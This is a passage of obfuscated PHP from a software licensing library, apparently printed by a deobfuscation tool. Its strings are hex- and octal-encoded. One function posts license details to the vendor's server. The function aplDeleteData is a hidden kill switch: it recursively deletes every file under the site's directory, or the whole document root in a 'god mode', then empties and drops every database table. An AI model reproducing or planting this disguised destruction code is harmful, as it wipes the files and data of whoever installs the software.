$notifications_array["\x6e\x6f\x74\151\x66\x69\x63\141\x74\x69\157\156\137\143\141\x73\145"] = "\156\157\164\x69\x66\151\x63\141\164\151\157\x6e\x5f\154\151\x63\145\156\x73\x65\137\143\x6f\162\x72\x75\160\164\x65\x64";
$notifications_array["\156\157\164\x69\146\151\x63\x61\x74\x69\157\x6e\x5f\x74\x65\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Ai7fg;
lfRR3:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\162\157\144\165\143\164\x5f\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\x63\x6c\151\x65\x6e\x74\137\145\x6d\x61\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\x6c\151\x63\x65\x6e\x73\145\x5f\x63\157\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\x6f\x74\x5f\165\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\x6e\163\164\x61\x6c\154\x61\x74\151\x6f\156\137\x68\x61\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\x65\156\163\x65\137\x73\x69\x67\x6e\x61\x74\x75\x72\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\154\x5f\x63\141\x6c\154\x62\141\x63\153\x73\57\x6c\x69\143\x65\x6e\x73\145\137\165\156\x69\156\163\164\141\x6c\x6c\56\160\x68\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\x6f\164\151\146\x69\143\141\x74\151\x6f\156\137\143\141\163\145"] == "\156\157\x74\151\146\151\143\141\164\x69\x6f\x6e\137\x6c\x69\143\x65\156\x73\145\x5f\x6f\153")) {
goto sqIUr;
}
if (!(APL_STORAGE == "\104\x41\x54\x41\102\x41\x53\105")) {
goto uM7t2;
}
mysqli_query($MYSQLI_LINK, "\x44\105\x4c\x45\124\x45\x20\x46\122\117\x4d\40" . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "\x44\122\117\120\x20\x54\x41\x42\x4c\x45\x20" . APL_DATABASE_TABLE);
uM7t2:
if (!(APL_STORAGE == "\106\111\114\x45")) {
goto h4m__;
}
$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53");
@fclose($handle);
h4m__: sqIUr: Ai7fg: DGoZ0:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "\x59\x45\123" && isset($_SERVER["\x44\117\103\125\x4d\x45\116\124\x5f\122\117\117\x54"])) {
goto GxZUQ;
}
$root_directory = dirname(__DIR__);
goto LFh2L;
GxZUQ:
$root_directory = $_SERVER["\104\117\x43\125\115\x45\116\124\137\122\117\117\x54"];
LFh2L:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
SQYeE:
}
ZLK6S:
rmdir($root_directory);
if (!(APL_STORAGE == "\104\x41\124\x41\102\x41\x53\x45")) {
goto Lowlb;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "\x53\x48\x4f\x57\40\x54\x41\x42\x4c\x45\x53");
lygGt:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto DEfX3;
}
$database_tables_array[] = $table_list_row[0];
goto lygGt;
DEfX3:
if (empty($database_tables_array)) {
goto Z37w5;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "\x44\x45\x4c\105\x54\105\40\x46\x52\x4f\x4d\x20{$table_name}");
Bq5M9:
}
q0OFW:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "\x44\x52\117\120\x20\124\x41\x42\114\105\x20{$table_name}");
rkNFh:
}
K9lto: Z37w5: Lowlb:
exit;
}
Function Calls
None |
Stats
MD5 | ded3f9003918dceaecb84464e9dd4bd3 |
Eval Count | 0 |
Decode Time | 73 ms |